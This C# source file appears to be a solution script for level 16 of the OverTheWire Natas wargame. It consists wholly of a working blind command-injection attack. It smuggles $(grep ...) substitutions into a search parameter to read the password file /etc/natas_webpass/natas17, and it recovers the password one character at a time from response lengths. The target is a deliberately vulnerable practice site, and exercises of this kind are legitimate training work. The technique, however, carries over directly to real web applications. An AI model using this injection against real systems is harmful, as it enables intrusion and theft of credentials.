otw_natas16.cs

var alphaNumericChars = Enumerable.Range('0', '9' - '0' + 1).Union(Enumerable.Range('A', 'Z' - 'A' + 1)).Union(Enumerable.Range('a', 'z' - 'a' + 1)).Select(Convert.ToChar).ToList();

var userPass = "natas16:<-- natas16 password -->";

var token = Convert.ToBase64String(Encoding.UTF8.GetBytes(userPass));
var positiveResponseLength = 1105;

var client = new HttpClient();

client.DefaultRequestHeaders.Authorization = new System.Net.Http.Headers.AuthenticationHeaderValue("Basic", token);
client.BaseAddress = new Uri("http://natas16.natas.labs.overthewire.org");
var passwordLength = 0;
var done = false;
var regex = ".";
while (!done)
{
	var response = await client.GetStringAsync($"/?needle=$(grep {regex} /etc/natas_webpass/natas17)&submit=Search");

	if (response.Length > positiveResponseLength)
	{
		done = true;
	}
	else
	{
		passwordLength++;
		regex += ".";
	}
}
Console.WriteLine($"Password is {passwordLength} characters");
var usedChars = new List<char>();

foreach (var c in alphaNumericChars)
{
	var response = await client.GetStringAsync($"/?needle=$(grep {c} /etc/natas_webpass/natas17)&submit=Search");

	if (response.Length == positiveResponseLength)
	{
		usedChars.Add(c);
	}
}

Console.WriteLine($"Password contains these characters: {String.Join("", usedChars)}");
var password = new StringBuilder();

for (int i = 0; i < passwordLength; i++)
{
	foreach (var c in usedChars)
	{
		var response = await client.GetStringAsync($"/?needle=sonatas$(grep ^{password}{c} /etc/natas_webpass/natas17)&submit=Search");

		if (response.Length == positiveResponseLength)
		{
			password.Append(c);
			break;
		}
	}
}
Console.WriteLine($"Password is {password}");